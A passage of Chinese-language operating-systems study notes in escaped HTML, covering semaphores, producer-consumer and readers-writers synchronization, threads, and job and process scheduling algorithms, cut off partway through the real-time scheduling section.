&lt;h3 id=&quot;进程的挂起与激活&quot;&gt;进程的挂起与激活&lt;/h3&gt;

&lt;p&gt;==进程挂起的方式==&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;把发出本原语的进程自身挂起&lt;/li&gt;
  &lt;li&gt;挂起指定进程名的进程&lt;/li&gt;
  &lt;li&gt;把某进程及其全部或部分子孙一起挂起&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;==进程挂起的过程==
（进程挂起原语Suspend()）&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;检查被挂进程的状态，改为相应的挂起状态&lt;/li&gt;
  &lt;li&gt;把进程的PCB复制到指定的区域&lt;/li&gt;
  &lt;li&gt;转向调度程序重新调度&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;==进程激活的过程==
（进程激活原语Active()）&lt;/p&gt;

&lt;p&gt;先将进程从外存调入内存，检查该进程的现行状态，\
改为相应的活动状态。根据优先级可能引起调度。&lt;/p&gt;

&lt;h2 id=&quot;进程同步&quot;&gt;进程同步&lt;/h2&gt;
&lt;h3 id=&quot;主要任务&quot;&gt;主要任务&lt;/h3&gt;

&lt;p&gt;对多个相关进程在执行次序上进行协调，使并发执行的诸进程之间能按照一定的规则(或时序)共享系统资源，并能很好地相互合作，从而使程序的执行具有可再现性&lt;/p&gt;

&lt;h3 id=&quot;两种形式的制约关系&quot;&gt;两种形式的制约关系&lt;/h3&gt;

&lt;p&gt;间接相互制约关系——共享某种系统资源&lt;/p&gt;

&lt;p&gt;直接相互制约关系——相互合作&lt;/p&gt;

&lt;h3 id=&quot;临界资源&quot;&gt;临界资源&lt;/h3&gt;

&lt;p&gt;一次仅允许一个进程使用的资源，如打印机、变量&lt;/p&gt;

&lt;h3 id=&quot;临界区&quot;&gt;临界区&lt;/h3&gt;

&lt;p&gt;临界区是每个进程中访问临界资源的那段代码&lt;/p&gt;

&lt;p&gt;若能保证诸进程互斥地进入自己的临界区，\
便可实现诸进程对临界资源的互斥访问&lt;/p&gt;

&lt;h3 id=&quot;同步机制应遵循的规则&quot;&gt;同步机制应遵循的规则&lt;/h3&gt;

&lt;p&gt;&lt;img src=&quot;https://ws1.sinaimg.cn/large/006tNbRwgy1fy1ty6blwwj30va09kwg2.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;信号量机制&quot;&gt;信号量机制&lt;/h3&gt;
&lt;h4 id=&quot;信号量&quot;&gt;==信号量==&lt;/h4&gt;

&lt;p&gt;用于表示==资源数目==或请求使用某一资源的==进程个数==的整型量&lt;/p&gt;

&lt;p&gt;S是与临界区内所使用的公用资源有关的信号量&lt;/p&gt;

&lt;p&gt;S ≥0 可供并发进程使用的资源数&lt;/p&gt;

&lt;p&gt;S &amp;lt; 0  正在等待使用临界区的进程数&lt;/p&gt;

&lt;h5 id=&quot;整型信号量&quot;&gt;整型信号量&lt;/h5&gt;

&lt;p&gt;Wait和Signal是两个原子操作，在执行时是不可中断的。&lt;/p&gt;

&lt;p&gt;整型信号量解决临界区调度的==缺点==:
对不能进入临界区的进程，采用忙式等待测试法，浪费CPU时间。因此未遵循“让权等待”的准则，使进程处于“忙等”状态。 
在采取了“让权等待”的策略后，又会出现多个进程等待访问同一临界资源的情况。&lt;/p&gt;

&lt;h5 id=&quot;记录型信号量&quot;&gt;记录型信号量&lt;/h5&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;struct semaphore{
    int value;
    struct process_control_block *L;
}

wait(semaphore S)
{
    S.value--;
    if(S.value＜0)  block(S.L)
}
signal(semaphore S)
{
    S.value++;
    if(S.value≤0)   wakeup(S.L);
}

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;https://ws1.sinaimg.cn/large/006tNbRwgy1fy1ype2uslj30gw0ayta4.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h5 id=&quot;and型信号量&quot;&gt;AND型信号量&lt;/h5&gt;

&lt;p&gt;AND同步机制的基本思想是：将进程在整个运行过程中需要的所有资源，一次性全部地分配给进程，待进程使用完后再一起释放。只要尚有一个资源未能分配给进程，其它所有可能为之分配的资源，也不分配给他。亦即，对若干个临界资源的分配，采取原子操作方式：要么全部分配到进程，要么一个也不分配。&lt;/p&gt;

&lt;h5 id=&quot;信号量集&quot;&gt;信号量集&lt;/h5&gt;

&lt;p&gt;在有些情况下，当资源数量低于某一下限值，不予以分配&lt;/p&gt;

&lt;p&gt;Swait(S, t, d), S为信号量，t为下限值，d为需求值&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://ws3.sinaimg.cn/large/006tNbRwgy1fy1yxcd0g1j30hi09hwfa.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h4 id=&quot;利用信号量实现前趋关系&quot;&gt;利用信号量实现前趋关系&lt;/h4&gt;

&lt;p&gt;&lt;img src=&quot;https://ws4.sinaimg.cn/large/006tNbRwgy1fy1yzu3oqkj30jy0e1gsf.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;管程机制&quot;&gt;管程机制&lt;/h3&gt;

&lt;p&gt;管程: 代表共享资源的数据结构以及由对该共享数据结构实施操作的\
一组过程所组成的资源管理程序共同构成了一个操作系统的资源管理模块&lt;/p&gt;

&lt;p&gt;由四部分组成&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;管程的名称&lt;/li&gt;
  &lt;li&gt;局部于管程的共享数据结构说明&lt;/li&gt;
  &lt;li&gt;对该数据结构进行操作的一组过程&lt;/li&gt;
  &lt;li&gt;对内部的共享数据初始化语句&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;https://ws2.sinaimg.cn/large/006tNbRwgy1fy23179qc3j30v409h0ut.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;注意:&lt;/p&gt;

&lt;p&gt;局部变量只能被管程的过程访问；&lt;/p&gt;

&lt;p&gt;进程通过调用管程的过程进入管程；&lt;/p&gt;

&lt;p&gt;只能有一个进程在管程中执行&lt;/p&gt;

&lt;h3 id=&quot;利用记录型信号量解决生-消问题&quot;&gt;利用记录型信号量解决生-消问题&lt;/h3&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;int in = 0, out = 0;
item buffer[n];
semaphore mutex = 1, empty = n, full = 0;
void procuder() {
  do {
      procuder an item nextp;
      ...
      wait(empty);//判断是否有空缓冲区，表示空缓冲区-１；
      wait(mutex);//数据缓冲区互斥访问，关闭访问；
      buffer[in] = nextp;
      in = (in+1) % n;
      signal(mutex);//打开访问
      signal(full);//满缓冲区加+1
  } while (true);
}

void consumer() {
   do {
       wait(full);//判断是否有满缓冲区，满缓冲区-1
       wait(mutex);//数据缓冲区互斥访问，关闭访问；
       nextc = buffer[out];
       out = (out+1) % n;
       signal(mutex);//打开访问
       siganl(empty);//空缓冲区+1
       consumer the item in nextc;
       ....
   } while (true);
}

void main() {
  cobegin
    producer(); consumer();
  coend
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;每次只允许一个进程进入缓冲池进行操作&lt;/p&gt;

&lt;p&gt;mutex为互斥信号量，实现诸进程对缓冲池的互斥访问，初值为1，取值为0、1&lt;/p&gt;

&lt;p&gt;empty,full为资源信号量，为正时分别表示==空缓冲区==和==满缓冲区==的数量；\
为负时，其绝对值为相应阻塞进程的数目。\
初值为n，0。可为负&lt;/p&gt;

&lt;p&gt;应先执行对资源信号量的wait操作，然后再执行对互斥信号量的wait操作，否则会造成死锁&lt;/p&gt;

&lt;p&gt;由buffer组成的缓冲池是被组织成循环缓冲的&lt;/p&gt;

&lt;p&gt;wait两个操作不能互换。例如：当 mutex=1, E=0, F=n时，则对生产者进程：wait(mutex)成功，wait(E)失败；对消费者进程：wait(F)成功，wait(mutex)失败，形成死锁&lt;/p&gt;

&lt;p&gt;signal操作的次序无关紧要&lt;/p&gt;

&lt;p&gt;互斥和资源信号量的原语必须成对出现&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;wait(empty)	
	empty &amp;gt;= 0	则数据送入缓冲区
	empty &amp;lt; 0	被阻塞  （满）
signal(empty)	
	empty &amp;gt; 0		
	empty &amp;lt;= 0	释放一个空缓冲区，唤醒一个阻塞的生产者进程
	
	
wait(full)	
	full &amp;gt;= 0	则从缓冲区取走数据
	full &amp;lt; 0	被阻塞  （空）
signal(full)	
	full &amp;gt; 0		
	full &amp;lt;= 0	数据装入缓冲区，唤醒一个
	            阻塞的消费者进程
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;https://ws3.sinaimg.cn/large/006tNbRwgy1fy2pzbkve6j30vu0u0dmd.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;读者-写者问题&quot;&gt;读者-写者问题&lt;/h3&gt;

&lt;p&gt;算法描述：&lt;/p&gt;

&lt;p&gt;设置两个互斥信号量：&lt;/p&gt;

&lt;p&gt;（1）wmutex，实现Reader与Writer进程间在读或写时的互斥。&lt;/p&gt;

&lt;p&gt;（2）rmutex,用于使读者互斥地访问共享变量readcount。&lt;/p&gt;

&lt;p&gt;readcount表示正在读的进程数目，只要有一个Reader进程在读，便不允许Writer进程去写。因此，仅当readcount=0, 表示尚无Reader进程在读时，Reader进程才需要执行Wait(wmutex)操作。若wait(wmutex)操作成功，Reader进程便可去读，相应地，做readcount+1操作。同理，仅当Reader进程在执行了readcount减1操作后其值为0时，才须执行signal(wmutex)操作，以便让Writer进程写&lt;/p&gt;

&lt;p&gt;读者进来: 读者函数首先申请将rmutex，锁住读信号量，判断readcount是否为0，为0则申请wmutex，不让写者进来，再释放掉rmutex，到此，可以让其他读者进来，但是写者都进不来&lt;/p&gt;

&lt;p&gt;读者离开: 先申请rmutex，锁住，不让新的读者进来，执行readcount–，移出已进来的读者，判断readcount是否为0，为0，也就是所有读者出去了，释放wmutex，这个时候，写者和读者都可以进来了&lt;/p&gt;

&lt;h3 id=&quot;使用信号量机制时易犯的错误&quot;&gt;使用信号量机制时易犯的错误&lt;/h3&gt;

&lt;p&gt;==错误1==：在利用互斥信号量mutex实现进程互斥时，如果将wait(s)与signai(s)颠倒，即&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;signal(mutex);
critical section
wait(mutex);  
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;在这种情况下，可能会有几个进程同时进入临界区，因而同时去访问临界资源。对于这样的错误仅在几个进程同时活跃在临界区内时，才可能发现，而这种情况又并非总是可在发现的。&lt;/p&gt;

&lt;p&gt;==错误2==: 在实现进程互斥时，如果程序中的signal(mutex)被误写为wait(mutex),即&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;wait(mutex);
critical section
wait(mutex);
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;此时的mutex将被出错的进程连续两次地执行wait操作，因而变成-1，这样将会使任何其它进程都不能进入临界区；从而也不会再有进程执行signal(mutex)操作，去唤醒出错的进程。在这种情况下，将发生死锁。&lt;/p&gt;

&lt;p&gt;==错误3==:
在实现进程互斥时，如果在程序中遗漏了wait(mutex)操作，将会使多个进程同时活跃在临界区；而如果遗漏了signal(mutex)操作，则将会使其它进程无法再进入临界区；而如果已有进程因不能进入临界区而阻塞，则该进程将永远不会被唤醒。&lt;/p&gt;

&lt;h2 id=&quot;线程&quot;&gt;线程&lt;/h2&gt;

&lt;p&gt;==定义==: 作为调度和分派的基本单位&lt;/p&gt;

&lt;p&gt;==线程与进程的比较==&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;调度：进程不再是调度的基本单位。&lt;/li&gt;
  &lt;li&gt;并  发  性：进程之间可以并发，线程之间也可以并发执行。&lt;/li&gt;
  &lt;li&gt;拥有资源：线程几乎不占资源，同一进程的线程共享进程的资源。&lt;/li&gt;
  &lt;li&gt;独立性：同一进程中的不同线程之间的独立性要低很多。&lt;/li&gt;
  &lt;li&gt;系统开销：线程的创建、撤消与切换的系统开销小的多。&lt;/li&gt;
  &lt;li&gt;支持多处理机系统&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;==线程的运行状态==&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;执行状态: 表示线程已获得处理机而正在运行&lt;/li&gt;
  &lt;li&gt;就绪状态: 指线程已具备了各种执行条件，只须获得CPU便可立即执行&lt;/li&gt;
  &lt;li&gt;阻塞状态: 指线程在执行中因某事件受阻而处于暂停状态&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;==线程控制块TCB==&lt;/p&gt;

&lt;p&gt;线程标志符和一组状态参数：寄存器状态，堆栈，线程运行状态，优先级，线程专有存储器，信号屏蔽&lt;/p&gt;

&lt;p&gt;==多线程OS中的进程属性==&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;进程是一个可拥有资源的基本单位；&lt;/li&gt;
  &lt;li&gt;多线程可以并发执行；&lt;/li&gt;
  &lt;li&gt;进程已不是可执行实体&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;==线程的实现方式==&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;内核支持线程
    &lt;ul&gt;
      &lt;li&gt;线程的创建、撤消、线程之间的切换，都需要在内核的支持下来实现；&lt;/li&gt;
      &lt;li&gt;线程控制块（TCB）&lt;/li&gt;
      &lt;li&gt;调度以线程为单位&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;用户级线程
    &lt;ul&gt;
      &lt;li&gt;仅存在于用户进程空间中，线程的创建、撤消、线程之间的同步与通信都无须利用系统调用（内核）来实现；&lt;/li&gt;
      &lt;li&gt;系统内的线程可以“成百上千”&lt;/li&gt;
      &lt;li&gt;调度以进程为单位&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;==线程的实现==&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;内核支持线程的实现
    &lt;ul&gt;
      &lt;li&gt;进程的任务数据区（Per Task Data Area）&lt;/li&gt;
      &lt;li&gt;线程控制块（TCB）&lt;/li&gt;
      &lt;li&gt;与进程管理类似&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;用户级线程的实现——利用中间系统
    &lt;ul&gt;
      &lt;li&gt;运行时系统（Runtime System）是用于管理和控制线程的函数（过程）的集合。他们使用户级线程与内核无关。&lt;/li&gt;
      &lt;li&gt;内核控制线程（又称轻型进程LWP），用户级线程通过LWP获得内何服务。&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;==线程的创建和终止==&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;应用程序启动时，仅有一个线程——初始化线程&lt;/li&gt;
  &lt;li&gt;初始化线程调用线程创建函数去创建若干个线程&lt;/li&gt;
  &lt;li&gt;终止线程的方式：线程完成工作后自愿退出；线程在运行中出现错误或由于某种原因而被其它线程强行终止&lt;/li&gt;
  &lt;li&gt;被终止未释放资源的线程可以被需要的线程调用，使它重新恢复运行&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;第三章-处理机调度与死锁&quot;&gt;第三章 处理机调度与死锁&lt;/h1&gt;
&lt;blockquote&gt;
  &lt;p&gt;调度的实质是一种资源分配，处理机调度是对处理机资源进行分配&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&quot;处理机调度的层次&quot;&gt;处理机调度的层次&lt;/h2&gt;
&lt;h3 id=&quot;高级调度&quot;&gt;高级调度&lt;/h3&gt;

&lt;p&gt;又称长程调度或==作业==调度。调度对象是==作业==。运行频率最低&lt;/p&gt;

&lt;p&gt;==主要功能==是根据某种算法，决定将外存上处于后备队列中的哪几个作业调入内存，\
为它们创建进程、分配必要的资源，并将它们放入就绪队列&lt;/p&gt;

&lt;p&gt;主要用于多道批处理系统中，而在分时和实时系统中不设置高级调度&lt;/p&gt;

&lt;h3 id=&quot;低级调度&quot;&gt;低级调度&lt;/h3&gt;

&lt;p&gt;又称为==进程==调度或短程调度。调度对象是==进程==(或内核级线程)。运行频率最高&lt;/p&gt;

&lt;p&gt;==主要功能==是根据某种算法，决定就绪队列中的哪个进程应获得处理机，\
然后再由分派程序把处理机分配给该进程&lt;/p&gt;

&lt;p&gt;多道批处理、分时、实时系统&lt;/p&gt;

&lt;h3 id=&quot;中级调度&quot;&gt;中级调度&lt;/h3&gt;

&lt;p&gt;又称为==内存==调度&lt;/p&gt;

&lt;p&gt;主要==目的==是为了提高内存利用率和系统吞吐量&lt;/p&gt;

&lt;p&gt;==功能==: 将处于外存交换区中的就绪状态或等待状态的进程调入内存，\
或把处于内存就绪状态或内存等待状态的进程交换到外存交换区中。&lt;/p&gt;

&lt;p&gt;实际上就是存储器管理中的对换功能&lt;/p&gt;

&lt;h2 id=&quot;处理机调度算法的目标&quot;&gt;处理机调度算法的目标&lt;/h2&gt;
&lt;h3 id=&quot;共同目标&quot;&gt;共同目标&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;资源利用率&lt;/p&gt;

    &lt;p&gt;CPU的利用率=
CPU有效工作时间/（ CPU有效工作时间+CPU空闲等待时间）&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;公平性&lt;/li&gt;
  &lt;li&gt;平衡性&lt;/li&gt;
  &lt;li&gt;策略强制执行&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;批处理系统的目标&quot;&gt;批处理系统的目标&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;平均周转时间短&lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;系统吞吐量高&lt;/p&gt;

    &lt;p&gt;吞吐量：单位时间内完成的作业数，与作业的平均长度具有密切关系。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;处理机利用率高&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;https://ws4.sinaimg.cn/large/006tNbRwgy1fy2ub2escvj30v60ey40u.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;分时系统的目标&quot;&gt;分时系统的目标&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;响应时间快&lt;/p&gt;

    &lt;p&gt;响应时间：从用户通过键盘提交一个请求开始至系统首次产生响应为止。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;均衡性&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;实时系统的目标&quot;&gt;实时系统的目标&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;截止时间的保证&lt;/p&gt;

    &lt;p&gt;截止时间：某任务开始执行的最迟时间，或必须完成的最迟时间。&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;可预测性&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;作业与作业调度&quot;&gt;作业与作业调度&lt;/h2&gt;
&lt;h3 id=&quot;批处理系统中的作业&quot;&gt;批处理系统中的作业&lt;/h3&gt;

&lt;p&gt;==作业==: 包含了通常的程序和数据，还配有一份作业说明书&lt;/p&gt;

&lt;p&gt;在批处理系统中，是以作业为基本单位从外存调入内存的&lt;/p&gt;

&lt;p&gt;==作业步==: 对作业的加工步骤&lt;/p&gt;

&lt;p&gt;==作业控制块==(JCB): 作业在系统中存在的标志，其中保存了系统对作业进行管理和调度所需的全部信息&lt;/p&gt;

&lt;p&gt;在作业运行期间，系统按照JCB中的信息和作业说明书对作业进行控制&lt;/p&gt;

&lt;h3 id=&quot;作业运行的三个阶段和三种状态&quot;&gt;作业运行的三个阶段和三种状态&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;收容阶段：后备状态&lt;/li&gt;
  &lt;li&gt;运行阶段：运行状态&lt;/li&gt;
  &lt;li&gt;完成阶段：完成状态&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;https://ws2.sinaimg.cn/large/006tNbRwgy1fy2vgrow6wj31gi0naar7.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;作业调度的主要任务&quot;&gt;作业调度的主要任务&lt;/h2&gt;

&lt;p&gt;根据JCB中的信息，检查系统中的资源能否满足作业对资源的需求，以及按照一定的算法，从外存的后备队列中选取某些作业调入内存，并为它们创建进程、分配必要的资源。然后再将新创建的进程排在就绪队列上等待调度&lt;/p&gt;

&lt;p&gt;执行作业调度时，需要解决&lt;/p&gt;

&lt;p&gt;1.==一次接纳多少作业==，即允许多少个作业同时在内存中运行&lt;/p&gt;

&lt;p&gt;2.==接纳哪些作业==，即哪些作业调入内存，取决于所采用的算法。比如先来先服务调度算法；或者是短作业优先调度算法；还有基于作业优先权的调度算法，响应比高者优先调度算法等&lt;/p&gt;

&lt;h2 id=&quot;作业调度算法&quot;&gt;作业调度算法&lt;/h2&gt;

&lt;h3 id=&quot;先来先服务算法fcfs&quot;&gt;先来先服务算法(FCFS)&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;可用于作业调度和进程调度。&lt;/li&gt;
  &lt;li&gt;按照作业（进程）进入后备队列（就绪队列）的先后次序来挑选作业（进程），先进入先被挑选。&lt;/li&gt;
  &lt;li&gt;算法容易实现，效率不高，只顾及作业（进程）等候时间，没考虑作业（进程）要求服务时间的长短。&lt;/li&gt;
  &lt;li&gt;有利于长作业（进程），不利于短作业（进程）。有利于CPU繁忙型作业，不利于I/O繁忙型作业&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;https://ws2.sinaimg.cn/large/006tNbRwgy1fy2w5pmdx4j30zk0b8mxt.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;短作业优先调度算法sjf&quot;&gt;短作业优先调度算法(SJF)&lt;/h3&gt;

&lt;p&gt;&lt;img src=&quot;https://ws1.sinaimg.cn/large/006tNbRwgy1fy2wwemzk5j31fq0r0e0g.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://ws3.sinaimg.cn/large/006tNbRwgy1fy2x1jixb9j30zk0h3gmy.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;优点：&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;降低作业的平均等待时间，提高系统吞吐量。&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;优先级调度算法psa&quot;&gt;优先级调度算法(PSA)&lt;/h3&gt;

&lt;p&gt;基于作业的==紧迫程度==，由外部赋予作业相应的优先级，调度算法是根据优先级进行调度的&lt;/p&gt;

&lt;h3 id=&quot;高响应比优先调度算法&quot;&gt;高响应比优先调度算法&lt;/h3&gt;

&lt;p&gt;&lt;img src=&quot;https://ws4.sinaimg.cn/large/006tNbRwgy1fy2x8ql33uj30zu0g0q66.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://ws2.sinaimg.cn/large/006tNbRwgy1fy2xenh722j31gc0cq13y.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;重要例题&quot;&gt;重要例题&lt;/h2&gt;

&lt;p&gt;&lt;img src=&quot;https://ws2.sinaimg.cn/large/006tNbRwgy1fy2xskbf1xj30mc0a0aa6.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://ws4.sinaimg.cn/large/006tNbRwgy1fy2xtk8qekj30ye0r4n1i.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;进程调度&quot;&gt;进程调度&lt;/h2&gt;
&lt;h3 id=&quot;进程调度的任务&quot;&gt;进程调度的任务&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;保存处理机的现场信息&lt;/li&gt;
  &lt;li&gt;按某种算法选取进程&lt;/li&gt;
  &lt;li&gt;把处理器分配给进程&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;进程调度机制&quot;&gt;进程调度机制&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;排队器：将就绪进程插入到相应的就绪队列中。&lt;/li&gt;
  &lt;li&gt;分派器：依据进程调度程序所选定的进程，将其从就绪队列中取出。&lt;/li&gt;
  &lt;li&gt;上下文切换器：保存当前进程的上下文；新选进出的CPU现场信息恢复。&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;进程调度方式&quot;&gt;进程调度方式&lt;/h3&gt;
&lt;h4 id=&quot;非抢占方式&quot;&gt;非抢占方式&lt;/h4&gt;

&lt;p&gt;一旦把处理机分配给某个进程后，让该进程一直执行，\
直到该进程完成或者发生某事件而阻塞&lt;/p&gt;

&lt;p&gt;引起进程调度的因素：&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;正在执行的进程执行完毕&lt;/li&gt;
  &lt;li&gt;执行中的进程因为提出I/O请求而暂停执行&lt;/li&gt;
  &lt;li&gt;进程通信或同步过程中执行了原语操作&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;==优点==：实现简单、系统开销小，适用于大多数的批处理系统环境。&lt;/p&gt;

&lt;p&gt;==缺点==：难以满足紧急任务的要求，不适宜要求比较严格的实时系统&lt;/p&gt;

&lt;h4 id=&quot;抢占方式&quot;&gt;抢占方式&lt;/h4&gt;

&lt;p&gt;允许调度程序根据某种原则，暂停正在执行的进程，将处理机重新分配给其他进程&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://ws2.sinaimg.cn/large/006tNbRwgy1fy2yj1elzbj30zi0awte3.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;轮转调度算法&quot;&gt;轮转调度算法&lt;/h2&gt;

&lt;p&gt;&lt;img src=&quot;https://ws4.sinaimg.cn/large/006tNbRwgy1fy2zk9xw6lj30vc0de7bv.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;时间片  Q=R / Nmax&lt;/p&gt;

&lt;p&gt;R：响应时间 	 Nmax： 最大进程数&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://ws3.sinaimg.cn/large/006tNbRwgy1fy2znmzeztj31co0gsk36.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://blog.csdn.net/Fly_as_tadpole/article/details/80595194&quot;&gt;好题&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&quot;优先级调度算法&quot;&gt;优先级调度算法&lt;/h2&gt;

&lt;p&gt;==优先级调度算法的类型==&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;非抢占式优先级调度算法&lt;/li&gt;
  &lt;li&gt;抢占式优先级调度算法&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;==优先级的类型==&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;==静态优先级==&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;静态优先权是在创建进程时确定的，且在进程的整个运行期间保持不变。&lt;/p&gt;

&lt;p&gt;确定进程优先权的依据有如下三个方面：&lt;/p&gt;

&lt;p&gt;（1）进程类型
（2）进程对资源的需求
（3）用户要求&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;==动态优先级==&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;动态优先权是指，在创建进程时所赋予的优先权，是可以随进程的推进或随其等待时间的增加而改变的，以便获得更好的调度性能。&lt;/p&gt;

&lt;p&gt;进程优先权改变原因：&lt;/p&gt;

&lt;p&gt;（1）进程等待时间
（2）进程占用CPU时间&lt;/p&gt;

&lt;h2 id=&quot;多级反馈队列调度算法&quot;&gt;多级反馈队列调度算法&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;设置多个就绪队列，并为各个队列赋予不同的优先级，优先级越高的队列中，为每个进程所规定的执行时间片就越小&lt;/li&gt;
  &lt;li&gt;新进程进入内存后，放入第一队列末尾，按FCFS原则等待调度，如果在一个时间片结束时没完成，将该进程转入第二队列末尾重新等待调度执行……&lt;/li&gt;
  &lt;li&gt;仅当第一队列空闲时，调度程序才调度第二队列中的进程运行&lt;/li&gt;
  &lt;li&gt;如果处理机正在为某队列的进程服务，又有新进程插入到较高优先级的队列中，则新进程将抢占正在运行进程的处理机&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;算法性能：&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;较好的性能，能够照顾到用户的利益&lt;/li&gt;
  &lt;li&gt;短作业、长作业都能得到比较满意的处理&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;实时调度&quot;&gt;实时调度&lt;/h2&gt;
&lt;h3 id=&quot;实现实时调度的基本条件&quot;&gt;实现实时调度的基本条件&lt;/h3&gt;
&lt;ol&gt;
  &lt;li&gt;提供必要的信息
